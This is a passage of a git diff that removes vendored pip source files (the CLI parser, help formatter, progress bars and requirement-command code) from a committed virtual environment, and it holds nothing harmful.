-        if os.path.isdir(python):
-            # bin/python for Unix, Scripts/python.exe for Windows
-            # Try both in case of odd cases like cygwin.
-            for exe in ("bin/python", "Scripts/python.exe"):
-                py = os.path.join(python, exe)
-                if os.path.exists(py):
-                    return py
-        else:
-            return python
-
-    # Could not find the interpreter specified
-    return None
-
-
-def parse_command(args: list[str]) -> tuple[str, list[str]]:
-    parser = create_main_parser()
-
-    # Note: parser calls disable_interspersed_args(), so the result of this
-    # call is to split the initial args into the general options before the
-    # subcommand and everything else.
-    # For example:
-    #  args: ['--timeout=5', 'install', '--user', 'INITools']
-    #  general_options: ['--timeout==5']
-    #  args_else: ['install', '--user', 'INITools']
-    general_options, args_else = parser.parse_args(args)
-
-    # --python
-    if general_options.python and "_PIP_RUNNING_IN_SUBPROCESS" not in os.environ:
-        # Re-invoke pip using the specified Python interpreter
-        interpreter = identify_python_interpreter(general_options.python)
-        if interpreter is None:
-            raise CommandError(
-                f"Could not locate Python interpreter {general_options.python}"
-            )
-
-        pip_cmd = [
-            interpreter,
-            get_runnable_pip(),
-        ]
-        pip_cmd.extend(args)
-
-        # Set a flag so the child doesn't re-invoke itself, causing
-        # an infinite loop.
-        os.environ["_PIP_RUNNING_IN_SUBPROCESS"] = "1"
-        returncode = 0
-        try:
-            proc = subprocess.run(pip_cmd)
-            returncode = proc.returncode
-        except (subprocess.SubprocessError, OSError) as exc:
-            raise CommandError(f"Failed to run pip under {interpreter}: {exc}")
-        sys.exit(returncode)
-
-    # --version
-    if general_options.version:
-        sys.stdout.write(parser.version)
-        sys.stdout.write(os.linesep)
-        sys.exit()
-
-    # pip || pip help -> print_help()
-    if not args_else or (args_else[0] == "help" and len(args_else) == 1):
-        parser.print_help()
-        sys.exit()
-
-    # the subcommand name
-    cmd_name = args_else[0]
-
-    if cmd_name not in commands_dict:
-        guess = get_similar_commands(cmd_name)
-
-        msg = [f'unknown command "{cmd_name}"']
-        if guess:
-            msg.append(f'maybe you meant "{guess}"')
-
-        raise CommandError(" - ".join(msg))
-
-    # all the args without the subcommand
-    cmd_args = args[:]
-    cmd_args.remove(cmd_name)
-
-    return cmd_name, cmd_args
diff --git a/venv/Lib/site-packages/pip/_internal/cli/parser.py b/venv/Lib/site-packages/pip/_internal/cli/parser.py
deleted file mode 100644
index 4df249ad2fa686acfe9c7a63d1cb19f7e09f9265..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/parser.py
+++ /dev/null
@@ -1,366 +0,0 @@
-"""Base option parser setup"""
-
-from __future__ import annotations
-
-import logging
-import optparse
-import os
-import re
-import shutil
-import sys
-import textwrap
-from collections.abc import Generator
-from contextlib import suppress
-from typing import Any, NoReturn
-
-from pip._vendor.rich.markup import escape
-from pip._vendor.rich.theme import Theme
-
-from pip._internal.cli.status_codes import UNKNOWN_ERROR
-from pip._internal.configuration import Configuration, ConfigurationError
-from pip._internal.utils.logging import PipConsole
-from pip._internal.utils.misc import redact_auth_from_url, strtobool
-
-logger = logging.getLogger(__name__)
-
-
-class PrettyHelpFormatter(optparse.IndentedHelpFormatter):
-    """A prettier/less verbose help formatter for optparse."""
-
-    styles = {
-        "optparse.shortargs": "green",
-        "optparse.longargs": "cyan",
-        "optparse.groups": "bold blue",
-        "optparse.metavar": "yellow",
-    }
-    highlights = {
-        r"\s(-{1}[\w]+[\w-]*)": "shortargs",  # highlight -letter as short args
-        r"\s(-{2}[\w]+[\w-]*)": "longargs",  # highlight --words as long args
-    }
-
-    def __init__(self, *args: Any, **kwargs: Any) -> None:
-        # help position must be aligned with __init__.parseopts.description
-        kwargs["max_help_position"] = 30
-        kwargs["indent_increment"] = 1
-        kwargs["width"] = shutil.get_terminal_size()[0] - 2
-        super().__init__(*args, **kwargs)
-
-    def format_option_strings(self, option: optparse.Option) -> str:
-        """Return a comma-separated list of option strings and metavars."""
-        opts = []
-
-        if option._short_opts:
-            opts.append(f"[optparse.shortargs]{option._short_opts[0]}[/]")
-        if option._long_opts:
-            opts.append(f"[optparse.longargs]{option._long_opts[0]}[/]")
-        if len(opts) > 1:
-            opts.insert(1, ", ")
-
-        if option.takes_value():
-            assert option.dest is not None
-            metavar = option.metavar or option.dest.lower()
-            opts.append(f" [optparse.metavar]<{escape(metavar.lower())}>[/]")
-
-        return "".join(opts)
-
-    def format_option(self, option: optparse.Option) -> str:
-        """Overridden method with Rich support."""
-        # fmt: off
-        result = []
-        opts = self.option_strings[option]
-        opt_width = self.help_position - self.current_indent - 2
-        # Remove the rich style tags before calculating width during
-        # text wrap calculations. Also store the length removed to adjust
-        # the padding in the else branch.
-        stripped = re.sub(r"(\[[a-z.]+\])|(\[\/\])", "", opts)
-        style_tag_length = len(opts) - len(stripped)
-        if len(stripped) > opt_width:
-            opts = "%*s%s\n" % (self.current_indent, "", opts)  # noqa: UP031
-            indent_first = self.help_position
-        else:                       # start help on same line as opts
-            opts = "%*s%-*s  " % (self.current_indent, "",      # noqa: UP031
-                                  opt_width + style_tag_length, opts)
-            indent_first = 0
-        result.append(opts)
-        if option.help:
-            help_text = self.expand_default(option)
-            help_lines = textwrap.wrap(help_text, self.help_width)
-            result.append("%*s%s\n" % (indent_first, "", help_lines[0]))  # noqa: UP031
-            result.extend(["%*s%s\n" % (self.help_position, "", line)     # noqa: UP031
-                           for line in help_lines[1:]])
-        elif opts[-1] != "\n":
-            result.append("\n")
-        return "".join(result)
-        # fmt: on
-
-    def format_heading(self, heading: str) -> str:
-        if heading == "Options":
-            return ""
-        return "[optparse.groups]" + escape(heading) + ":[/]\n"
-
-    def format_usage(self, usage: str) -> str:
-        """
-        Ensure there is only one newline between usage and the first heading
-        if there is no description.
-        """
-        contents = self.indent_lines(textwrap.dedent(usage), "  ")
-        msg = f"\n[optparse.groups]Usage:[/] {escape(contents)}\n"
-        return msg
-
-    def format_description(self, description: str | None) -> str:
-        # leave full control over description to us
-        if description:
-            if hasattr(self.parser, "main"):
-                label = "[optparse.groups]Commands:[/]"
-            else:
-                label = "[optparse.groups]Description:[/]"
-
-            # some doc strings have initial newlines, some don't
-            description = description.lstrip("\n")
-            # some doc strings have final newlines and spaces, some don't
-            description = description.rstrip()
-            # dedent, then reindent
-            description = self.indent_lines(textwrap.dedent(description), "  ")
-            description = f"{label}\n{description}\n"
-            return description
-        else:
-            return ""
-
-    def format_epilog(self, epilog: str | None) -> str:
-        # leave full control over epilog to us
-        if epilog:
-            return escape(epilog)
-        else:
-            return ""
-
-    def expand_default(self, option: optparse.Option) -> str:
-        """Overridden HelpFormatter.expand_default() which colorizes flags."""
-        help = escape(super().expand_default(option))
-        for regex, style in self.highlights.items():
-            help = re.sub(regex, rf"[optparse.{style}] \1[/]", help)
-        return help
-
-    def indent_lines(self, text: str, indent: str) -> str:
-        new_lines = [indent + line for line in text.split("\n")]
-        return "\n".join(new_lines)
-
-
-class UpdatingDefaultsHelpFormatter(PrettyHelpFormatter):
-    """Custom help formatter for use in ConfigOptionParser.
-
-    This is updates the defaults before expanding them, allowing
-    them to show up correctly in the help listing.
-
-    Also redact auth from url type options
-    """
-
-    def expand_default(self, option: optparse.Option) -> str:
-        default_values = None
-        if self.parser is not None:
-            assert isinstance(self.parser, ConfigOptionParser)
-            self.parser._update_defaults(self.parser.defaults)
-            assert option.dest is not None
-            default_values = self.parser.defaults.get(option.dest)
-        help_text = super().expand_default(option)
-
-        if default_values and option.metavar == "URL":
-            if isinstance(default_values, str):
-                default_values = [default_values]
-
-            # If its not a list, we should abort and just return the help text
-            if not isinstance(default_values, list):
-                default_values = []
-
-            for val in default_values:
-                help_text = help_text.replace(val, redact_auth_from_url(val))
-
-        return help_text
-
-
-class CustomOptionParser(optparse.OptionParser):
-    def insert_option_group(
-        self, idx: int, *args: Any, **kwargs: Any
-    ) -> optparse.OptionGroup:
-        """Insert an OptionGroup at a given position."""
-        group = self.add_option_group(*args, **kwargs)
-
-        self.option_groups.pop()
-        self.option_groups.insert(idx, group)
-
-        return group
-
-    @property
-    def option_list_all(self) -> list[optparse.Option]:
-        """Get a list of all options, including those in option groups."""
-        res = self.option_list[:]
-        for i in self.option_groups:
-            res.extend(i.option_list)
-
-        return res
-
-
-class ConfigOptionParser(CustomOptionParser):
-    """Custom option parser which updates its defaults by checking the
-    configuration files and environmental variables"""
-
-    def __init__(
-        self,
-        *args: Any,
-        name: str,
-        isolated: bool = False,
-        **kwargs: Any,
-    ) -> None:
-        self.name = name
-        self.config = Configuration(isolated)
-
-        assert self.name
-        super().__init__(*args, **kwargs)
-
-    def check_default(self, option: optparse.Option, key: str, val: Any) -> Any:
-        try:
-            return option.check_value(key, val)
-        except optparse.OptionValueError as exc:
-            print(f"An error occurred during configuration: {exc}")
-            sys.exit(3)
-
-    def _get_ordered_configuration_items(
-        self,
-    ) -> Generator[tuple[str, Any], None, None]:
-        # Configuration gives keys in an unordered manner. Order them.
-        override_order = ["global", self.name, ":env:"]
-
-        # Pool the options into different groups
-        # Use a dict because we need to implement the fallthrough logic after PR 12201
-        # was merged which removed the fallthrough logic for options
-        section_items_dict: dict[str, dict[str, Any]] = {
-            name: {} for name in override_order
-        }
-
-        for _, value in self.config.items():
-            for section_key, val in value.items():
-
-                section, key = section_key.split(".", 1)
-                if section in override_order:
-                    section_items_dict[section][key] = val
-
-        # Now that we a dict of items per section, convert to list of tuples
-        # Make sure we completely remove empty values again
-        section_items = {
-            name: [(k, v) for k, v in section_items_dict[name].items() if v]
-            for name in override_order
-        }
-
-        # Yield each group in their override order
-        for section in override_order:
-            yield from section_items[section]
-
-    def _update_defaults(self, defaults: dict[str, Any]) -> dict[str, Any]:
-        """Updates the given defaults with values from the config files and
-        the environ. Does a little special handling for certain types of
-        options (lists)."""
-
-        # Accumulate complex default state.
-        self.values = optparse.Values(self.defaults)
-        late_eval = set()
-        # Then set the options with those values
-        for key, val in self._get_ordered_configuration_items():
-            # '--' because configuration supports only long names
-            option = self.get_option("--" + key)
-
-            # Ignore options not present in this parser. E.g. non-globals put
-            # in [global] by users that want them to apply to all applicable
-            # commands.
-            if option is None:
-                continue
-
-            assert option.dest is not None
-
-            if option.action in ("store_true", "store_false"):
-                try:
-                    val = strtobool(val)
-                except ValueError:
-                    self.error(
-                        f"{val} is not a valid value for {key} option, "
-                        "please specify a boolean value like yes/no, "
-                        "true/false or 1/0 instead."
-                    )
-            elif option.action == "count":
-                with suppress(ValueError):
-                    val = strtobool(val)
-                with suppress(ValueError):
-                    val = int(val)
-                if not isinstance(val, int) or val < 0:
-                    self.error(
-                        f"{val} is not a valid value for {key} option, "
-                        "please instead specify either a non-negative integer "
-                        "or a boolean value like yes/no or false/true "
-                        "which is equivalent to 1/0."
-                    )
-            elif option.action == "append":
-                val = val.split()
-                val = [self.check_default(option, key, v) for v in val]
-            elif option.action == "callback":
-                assert option.callback is not None
-                late_eval.add(option.dest)
-                opt_str = option.get_opt_string()
-                val = option.convert_value(opt_str, val)
-                # From take_action
-                args = option.callback_args or ()
-                kwargs = option.callback_kwargs or {}
-                option.callback(option, opt_str, val, self, *args, **kwargs)
-            else:
-                val = self.check_default(option, key, val)
-
-            defaults[option.dest] = val
-
-        for key in late_eval:
-            defaults[key] = getattr(self.values, key)
-        self.values = None
-        return defaults
-
-    def get_default_values(self) -> optparse.Values:
-        """Overriding to make updating the defaults after instantiation of
-        the option parser possible, _update_defaults() does the dirty work."""
-        if not self.process_default_values:
-            # Old, pre-Optik 1.5 behaviour.
-            return optparse.Values(self.defaults)
-
-        # Load the configuration, or error out in case of an error
-        try:
-            self.config.load()
-        except ConfigurationError as err:
-            self.exit(UNKNOWN_ERROR, str(err))
-
-        defaults = self._update_defaults(self.defaults.copy())  # ours
-        for option in self._get_all_options():
-            assert option.dest is not None
-            default = defaults.get(option.dest)
-            if isinstance(default, str):
-                opt_str = option.get_opt_string()
-                defaults[option.dest] = option.check_value(opt_str, default)
-        return optparse.Values(defaults)
-
-    def error(self, msg: str) -> NoReturn:
-        self.print_usage(sys.stderr)
-        self.exit(UNKNOWN_ERROR, f"{msg}\n")
-
-    def _create_console_for_help(self, file: Any = None) -> PipConsole:
-        # This is unfortunate but necessary since arguments may have not been
-        # parsed yet at this point, so detect --no-color manually.
-        no_color = (
-            "--no-color" in sys.argv
-            or bool(strtobool(os.environ.get("PIP_NO_COLOR", "no") or "no"))
-            or "NO_COLOR" in os.environ
-        )
-        return PipConsole(
-            theme=Theme(PrettyHelpFormatter.styles), no_color=no_color, file=file
-        )
-
-    def print_usage(self, file: Any = None) -> None:
-        if self.usage:
-            console = self._create_console_for_help(file)
-            console.print(self.get_usage(), highlight=False)
-
-    def print_help(self, file: Any = None) -> None:
-        console = self._create_console_for_help(file)
-        console.print(self.format_help().rstrip(), highlight=False)
diff --git a/venv/Lib/site-packages/pip/_internal/cli/progress_bars.py b/venv/Lib/site-packages/pip/_internal/cli/progress_bars.py
deleted file mode 100644
index f276c7e2c44ef71fcaa2dd6f741718127f019005..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/progress_bars.py
+++ /dev/null
@@ -1,153 +0,0 @@
-from __future__ import annotations
-
-import functools
-import sys
-from collections.abc import Callable, Generator, Iterable, Iterator
-from typing import TYPE_CHECKING, Literal, TypeVar
-
-from pip._vendor.rich.progress import (
-    BarColumn,
-    DownloadColumn,
-    FileSizeColumn,
-    MofNCompleteColumn,
-    Progress,
-    ProgressColumn,
-    SpinnerColumn,
-    TextColumn,
-    TimeElapsedColumn,
-    TimeRemainingColumn,
-    TransferSpeedColumn,
-)
-
-from pip._internal.cli.spinners import RateLimiter
-from pip._internal.utils.logging import get_console, get_indentation
-
-if TYPE_CHECKING:
-    from pip._internal.req.req_install import InstallRequirement
-
-T = TypeVar("T")
-ProgressRenderer = Callable[[Iterable[T]], Iterator[T]]
-BarType = Literal["on", "off", "raw"]
-
-
-def _rich_download_progress_bar(
-    iterable: Iterable[bytes],
-    *,
-    bar_type: BarType,
-    size: int | None,
-    initial_progress: int | None = None,
-) -> Generator[bytes, None, None]:
-    assert bar_type == "on", "This should only be used in the default mode."
-
-    if not size:
-        total = float("inf")
-        columns: tuple[ProgressColumn, ...] = (
-            TextColumn("[progress.description]{task.description}"),
-            SpinnerColumn("line", speed=1.5),
-            FileSizeColumn(),
-            TransferSpeedColumn(),
-            TimeElapsedColumn(),
-        )
-    else:
-        total = size
-        columns = (
-            TextColumn("[progress.description]{task.description}"),
-            BarColumn(),
-            DownloadColumn(),
-            TransferSpeedColumn(),
-            TextColumn("{task.fields[time_description]}"),
-            TimeRemainingColumn(elapsed_when_finished=True),
-        )
-
-    progress = Progress(*columns, refresh_per_second=5)
-    task_id = progress.add_task(
-        " " * (get_indentation() + 2), total=total, time_description="eta"
-    )
-    if initial_progress is not None:
-        progress.update(task_id, advance=initial_progress)
-    with progress:
-        for chunk in iterable:
-            yield chunk
-            progress.update(task_id, advance=len(chunk))
-        progress.update(task_id, time_description="")
-
-
-def _rich_install_progress_bar(
-    iterable: Iterable[InstallRequirement], *, total: int
-) -> Iterator[InstallRequirement]:
-    columns = (
-        TextColumn("{task.fields[indent]}"),
-        BarColumn(),
-        MofNCompleteColumn(),
-        TextColumn("{task.description}"),
-    )
-    console = get_console()
-
-    bar = Progress(*columns, refresh_per_second=6, console=console, transient=True)
-    # Hiding the progress bar at initialization forces a refresh cycle to occur
-    # until the bar appears, avoiding very short flashes.
-    task = bar.add_task("", total=total, indent=" " * get_indentation(), visible=False)
-    with bar:
-        for req in iterable:
-            bar.update(task, description=rf"\[{req.name}]", visible=True)
-            yield req
-            bar.advance(task)
-
-
-def _raw_progress_bar(
-    iterable: Iterable[bytes],
-    *,
-    size: int | None,
-    initial_progress: int | None = None,
-) -> Generator[bytes, None, None]:
-    def write_progress(current: int, total: int) -> None:
-        sys.stdout.write(f"Progress {current} of {total}\n")
-        sys.stdout.flush()
-
-    current = initial_progress or 0
-    total = size or 0
-    rate_limiter = RateLimiter(0.25)
-
-    write_progress(current, total)
-    for chunk in iterable:
-        current += len(chunk)
-        if rate_limiter.ready() or current == total:
-            write_progress(current, total)
-            rate_limiter.reset()
-        yield chunk
-
-
-def get_download_progress_renderer(
-    *, bar_type: BarType, size: int | None = None, initial_progress: int | None = None
-) -> ProgressRenderer[bytes]:
-    """Get an object that can be used to render the download progress.
-
-    Returns a callable, that takes an iterable to "wrap".
-    """
-    if bar_type == "on":
-        return functools.partial(
-            _rich_download_progress_bar,
-            bar_type=bar_type,
-            size=size,
-            initial_progress=initial_progress,
-        )
-    elif bar_type == "raw":
-        return functools.partial(
-            _raw_progress_bar,
-            size=size,
-            initial_progress=initial_progress,
-        )
-    else:
-        return iter  # no-op, when passed an iterator
-
-
-def get_install_progress_renderer(
-    *, bar_type: BarType, total: int
-) -> ProgressRenderer[InstallRequirement]:
-    """Get an object that can be used to render the install progress.
-    Returns a callable, that takes an iterable to "wrap".
-    """
-    if bar_type == "on":
-        return functools.partial(_rich_install_progress_bar, total=total)
-    else:
-        return iter
diff --git a/venv/Lib/site-packages/pip/_internal/cli/req_command.py b/venv/Lib/site-packages/pip/_internal/cli/req_command.py
deleted file mode 100644
index f58a970613f2a52b199fc17ee575361d84807725..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cli/req_command.py
+++ /dev/null
@@ -1,504 +0,0 @@
-"""Contains the RequirementCommand base class.
-
-This class is in a separate module so the commands that do not always
-need PackageFinder capability don't unnecessarily import the
-PackageFinder machinery and all its vendored dependencies, etc.
-"""
-
-from __future__ import annotations
-
-import logging
-import os
-from collections.abc import Callable
-from functools import partial
-from optparse import Values
-from typing import Any, TypeVar
-
-from pip._internal.build_env import (
-    BuildEnvironmentInstaller,
-    BuildIsolationMode,
-    InprocessBuildEnvironmentInstaller,
-    SubprocessBuildEnvironmentInstaller,
-)
-from pip._internal.cache import WheelCache
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.cmdoptions import make_target_python
-from pip._internal.cli.index_command import IndexGroupCommand
-from pip._internal.cli.index_command import SessionCommandMixin as SessionCommandMixin
-from pip._internal.exceptions import (
-    CommandError,
-    PreviousBuildDirError,
-    UnsupportedPythonVersion,
-)
-from pip._internal.index.collector import LinkCollector
-from pip._internal.index.package_finder import PackageFinder
-from pip._internal.models.selection_prefs import SelectionPreferences
-from pip._internal.models.target_python import TargetPython
-from pip._internal.network.session import PipSession
-from pip._internal.operations.build.build_tracker import BuildTracker
-from pip._internal.operations.prepare import RequirementPreparer
-from pip._internal.req.constructors import (
-    install_req_from_editable,
-    install_req_from_line,
-    install_req_from_parsed_requirement,
-    install_req_from_pylock_package,
-    install_req_from_req_string,
-)
-from pip._internal.req.pep723 import PEP723Exception, pep723_metadata
-from pip._internal.req.req_dependency_group import parse_dependency_groups
-from pip._internal.req.req_file import parse_requirements
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.resolution.base import BaseResolver
-from pip._internal.utils.packaging import check_requires_python
-from pip._internal.utils.pylock import (
-    is_valid_pylock_filename,
-    select_from_pylock_path_or_url,
-)
-from pip._internal.utils.temp_dir import (
-    TempDirectory,
-    TempDirectoryTypeRegistry,
-    tempdir_kinds,
-)
-
-logger = logging.getLogger(__name__)
-
-
-def should_ignore_regular_constraints() -> bool:
-    """
-    Whether this process should ignore the regular constraints it inherits.
-
-    The parent pip sets ``_PIP_IN_BUILD_IGNORE_CONSTRAINTS`` whenever it starts
-    an isolated build in a subprocess, so that regular constraints the build
-    inherits (such as via ``PIP_CONSTRAINT`` or config files) do not affect it.
-    Only build constraints apply there.
-    """
-
-    return os.environ.get("_PIP_IN_BUILD_IGNORE_CONSTRAINTS") == "1"
-
-
-KEEPABLE_TEMPDIR_TYPES = [
-    tempdir_kinds.BUILD_ENV,
-    tempdir_kinds.EPHEM_WHEEL_CACHE,
-    tempdir_kinds.REQ_BUILD,
-]
-
-
-_CommandT = TypeVar("_CommandT", bound="RequirementCommand")
-
-
-def with_cleanup(
-    func: Callable[[_CommandT, Values, list[str]], int],
-) -> Callable[[_CommandT, Values, list[str]], int]:
-    """Decorator for common logic related to managing temporary
-    directories.
-    """
-
-    def configure_tempdir_registry(registry: TempDirectoryTypeRegistry) -> None:
-        for t in KEEPABLE_TEMPDIR_TYPES:
-            registry.set_delete(t, False)
-
-    def wrapper(self: _CommandT, options: Values, args: list[str]) -> int:
-        assert self.tempdir_registry is not None
-        if options.no_clean:
-            configure_tempdir_registry(self.tempdir_registry)
-
-        try:
-            return func(self, options, args)
-        except PreviousBuildDirError:
-            # This kind of conflict can occur when the user passes an explicit
-            # build directory with a pre-existing folder. In that case we do
-            # not want to accidentally remove it.
-            configure_tempdir_registry(self.tempdir_registry)
-            raise
-
-    return wrapper
-
-
-def parse_constraint_files(
-    constraint_files: list[str],
-    finder: PackageFinder,
-    options: Values,
-    session: PipSession,
-) -> list[InstallRequirement]:
-    requirements = []
-    for filename in constraint_files:
-        for parsed_req in parse_requirements(
-            filename,
-            constraint=True,
-            finder=finder,
-            options=options,
-            session=session,
-        ):
-            req_to_add = install_req_from_parsed_requirement(
-                parsed_req,
-                isolated=options.isolated_mode,
-                user_supplied=False,
-            )
-            requirements.append(req_to_add)
-
-    return requirements
-
-
-class RequirementCommand(IndexGroupCommand):
-    def __init__(self, *args: Any, **kw: Any) -> None:
-        super().__init__(*args, **kw)
-
-        self.cmd_opts.add_option(cmdoptions.dependency_groups())
-        self.cmd_opts.add_option(cmdoptions.no_clean())
-
-    @staticmethod
-    def determine_resolver_variant(options: Values) -> str:
-        """Determines which resolver should be used, based on the given options."""
-        if "legacy-resolver" in options.deprecated_features_enabled:
-            return "legacy"
-
-        return "resolvelib"
-
-    @classmethod
-    def make_requirement_preparer(
-        cls,
-        temp_build_dir: TempDirectory,
-        options: Values,
-        build_tracker: BuildTracker,
-        session: PipSession,
-        finder: PackageFinder,
-        *,
-        allow_editables: bool,
-        use_user_site: bool,
-        download_dir: str | None = None,
-        verbosity: int = 0,
-    ) -> RequirementPreparer:
-        """
-        Create a RequirementPreparer instance for the given parameters.
-        """
-        temp_build_dir_path = temp_build_dir.path
-        assert temp_build_dir_path is not None
-        legacy_resolver = False
-
-        resolver_variant = cls.determine_resolver_variant(options)
-        if resolver_variant == "resolvelib":
-            lazy_wheel = "fast-deps" in options.features_enabled
-            if lazy_wheel:
-                logger.warning(
-                    "pip is using lazily downloaded wheels using HTTP "
-                    "range requests to obtain dependency information. "
-                    "This experimental feature is enabled through "
-                    "--use-feature=fast-deps and it is not ready for "
-                    "production."
-                )
-        else:
-            legacy_resolver = True
-            lazy_wheel = False
-            if "fast-deps" in options.features_enabled:
-                logger.warning(
-                    "fast-deps has no effect when used with the legacy resolver."
-                )
-
-        # Handle build constraints
-        build_constraints = getattr(options, "build_constraints", [])
-
-        env_installer: BuildEnvironmentInstaller
-        if "inprocess-build-deps" in options.features_enabled:
-            build_constraint_reqs = parse_constraint_files(
-                build_constraints, finder, options, session
-            )
-            env_installer = InprocessBuildEnvironmentInstaller(
-                finder=finder,
-                build_tracker=build_tracker,
-                build_constraints=build_constraint_reqs,
-                verbosity=verbosity,
-                wheel_cache=WheelCache(options.cache_dir),
-            )
-        else:
-            env_installer = SubprocessBuildEnvironmentInstaller(
-                finder,
-                build_constraints=build_constraints,
-            )
-
-        if not options.build_isolation:
-            build_isolation: BuildIsolationMode = "off"
-        elif "venv-isolation" in options.features_enabled:
-            build_isolation = "venv"
-            if "inprocess-build-deps" in options.features_enabled:
-                logger.warning(
-                    "Using --use-feature 'inprocess-build-deps' and 'venv-isolation'"
-                    " together is currently partially supported. If you encounter"
-                    " broken behaviour, use only one feature."
-                )
-        else:
-            build_isolation = "virtual"
-
-        return RequirementPreparer(
-            build_dir=temp_build_dir_path,
-            src_dir=options.src_dir,
-            download_dir=download_dir,
-            build_isolation=build_isolation,
-            build_isolation_installer=env_installer,
-            check_build_deps=options.check_build_deps,
-            build_tracker=build_tracker,
-            session=session,
-            progress_bar=options.progress_bar,
-            finder=finder,
-            require_hashes=options.require_hashes,
-            use_user_site=use_user_site,
-            lazy_wheel=lazy_wheel,
-            verbosity=verbosity,
-            legacy_resolver=legacy_resolver,
-            allow_editables=allow_editables,
-        )
-
-    @classmethod
-    def make_resolver(
-        cls,
-        preparer: RequirementPreparer,
-        finder: PackageFinder,
-        options: Values,
-        wheel_cache: WheelCache | None = None,
-        use_user_site: bool = False,
-        ignore_installed: bool = True,
-        ignore_requires_python: bool = False,
-        force_reinstall: bool = False,
-        upgrade_strategy: str = "to-satisfy-only",
-        py_version_info: tuple[int, ...] | None = None,
-    ) -> BaseResolver:
-        """
-        Create a Resolver instance for the given parameters.
-        """
-        make_install_req = partial(
-            install_req_from_req_string,
-            isolated=options.isolated_mode,
-        )
-        resolver_variant = cls.determine_resolver_variant(options)
-        # The long import name and duplicated invocation is needed to convince
-        # Mypy into correctly typechecking. Otherwise it would complain the
-        # "Resolver" class being redefined.
-        if resolver_variant == "resolvelib":
-            import pip._internal.resolution.resolvelib.resolver
-
-            return pip._internal.resolution.resolvelib.resolver.Resolver(
-                preparer=preparer,
-                finder=finder,
-                wheel_cache=wheel_cache,
-                make_install_req=make_install_req,
-                use_user_site=use_user_site,
-                ignore_dependencies=options.ignore_dependencies,
-                only_dependencies=options.only_dependencies,
-                ignore_installed=ignore_installed,
-                ignore_requires_python=ignore_requires_python,
-                force_reinstall=force_reinstall,
-                upgrade_strategy=upgrade_strategy,
-                py_version_info=py_version_info,
-            )
-        import pip._internal.resolution.legacy.resolver
-
-        return pip._internal.resolution.legacy.resolver.Resolver(
-            preparer=preparer,
-            finder=finder,
-            wheel_cache=wheel_cache,
-            make_install_req=make_install_req,
-            use_user_site=use_user_site,
-            ignore_dependencies=options.ignore_dependencies,
-            only_dependencies=options.only_dependencies,
-            ignore_installed=ignore_installed,
-            ignore_requires_python=ignore_requires_python,
-            force_reinstall=force_reinstall,
-            upgrade_strategy=upgrade_strategy,
-            py_version_info=py_version_info,
-        )
-
-    def get_requirements(
-        self,
-        args: list[str],
-        options: Values,
-        finder: PackageFinder,
-        session: PipSession,
-    ) -> list[InstallRequirement]:
-        """
-        Parse command-line arguments into the corresponding requirements.
-        """
-        requirements: list[InstallRequirement] = []
-
-        if should_ignore_regular_constraints():
-            # Inside an isolated build subprocess: apply the build constraints
-            # (forwarded via --build-constraint) instead of the inherited ones.
-            constraint_files = getattr(options, "build_constraints", [])
-        else:
-            constraint_files = options.constraints
-
-        constraints = parse_constraint_files(constraint_files, finder, options, session)
-        requirements.extend(constraints)
-
-        for req in args:
-            if not req.strip():
-                continue
-            req_to_add = install_req_from_line(
-                req,
-                comes_from=None,
-                isolated=options.isolated_mode,
-                user_supplied=True,
-                config_settings=getattr(options, "config_settings", None),
-            )
-            requirements.append(req_to_add)
-
-        if options.dependency_groups:
-            for req in parse_dependency_groups(options.dependency_groups):
-                req_to_add = install_req_from_req_string(
-                    req,
-                    isolated=options.isolated_mode,
-                    user_supplied=True,
-                )
-                requirements.append(req_to_add)
-
-        for req in options.editables:
-            req_to_add = install_req_from_editable(
-                req,
-                user_supplied=True,
-                isolated=options.isolated_mode,
-                config_settings=getattr(options, "config_settings", None),
-            )
-            requirements.append(req_to_add)
-
-        # NOTE: options.require_hashes may be set if --require-hashes is True
-        for filename in options.requirements:
-            if is_valid_pylock_filename(filename):
-                logger.warning(
-                    "Using pylock.toml as a requirements source "
-                    "is an experimental feature. "
-                    "It may be removed/changed in a future release "
-                    "without prior warning."
-                )
-                for package, package_dist in select_from_pylock_path_or_url(
-                    filename, session=session
-                ):
-                    req_to_add, locked_link = install_req_from_pylock_package(
-                        package,
-                        package_dist,
-                        filename,
-                        user_supplied=True,
-                    )
-                    requirements.append(req_to_add)
-                    if locked_link:
-                        finder.add_locked_link(package.name, locked_link)
-                continue
-            for parsed_req in parse_requirements(
-                filename, finder=finder, options=options, session=session
-            ):
-                req_to_add = install_req_from_parsed_requirement(
-                    parsed_req,
-                    isolated=options.isolated_mode,
-                    user_supplied=True,
-                    config_settings=(
-                        parsed_req.options.get("config_settings")
-                        if parsed_req.options
-                        else None
-                    ),
-                )
-                requirements.append(req_to_add)
-
-        if options.requirements_from_scripts:
-            if len(options.requirements_from_scripts) > 1:
-                raise CommandError("--requirements-from-script can only be given once")
-
-            script = options.requirements_from_scripts[0]
-            try:
-                script_metadata = pep723_metadata(script)
-            except PEP723Exception as exc:
-                raise CommandError(exc.msg)
-
-            script_requires_python = script_metadata.get("requires-python", "")
-
-            if script_requires_python and not options.ignore_requires_python:
-                target_python = make_target_python(options)
-
-                if not check_requires_python(
-                    requires_python=script_requires_python,
-                    version_info=target_python.py_version_info,
-                ):
-                    raise UnsupportedPythonVersion(
-                        f"Script {script!r} requires a different Python: "
-                        f"{target_python.py_version} not in {script_requires_python!r}"
-                    )
-
-            for req in script_metadata.get("dependencies", []):
-                req_to_add = install_req_from_req_string(
-                    req,
-                    isolated=options.isolated_mode,
-                    user_supplied=True,
-                )
-                requirements.append(req_to_add)
-
-        if options.require_hashes and options.no_require_hashes:
-            raise CommandError(
-                "--require-hashes and --no-require-hashes are mutually exclusive"
-            )
-
-        # If any requirement has hash options, enable hash checking for all
-        # requirements, unless this mechanism has been explicitly disabled
-        # with --no-require-hashes.
-        if not options.no_require_hashes and any(
-            req.has_hash_options for req in requirements
-        ):
-            options.require_hashes = True
-
-        if not (
-            args
-            or options.editables
-            or options.requirements
-            or options.dependency_groups
-            or options.requirements_from_scripts
-        ):
-            opts = {"name": self.name}
-            if options.find_links:
-                raise CommandError(
-                    "You must give at least one requirement to {name} "
-                    '(maybe you meant "pip {name} {links}"?)'.format(
-                        **dict(opts, links=" ".join(options.find_links))
-                    )
-                )
-            else:
-                raise CommandError(
-                    "You must give at least one requirement to {name} "
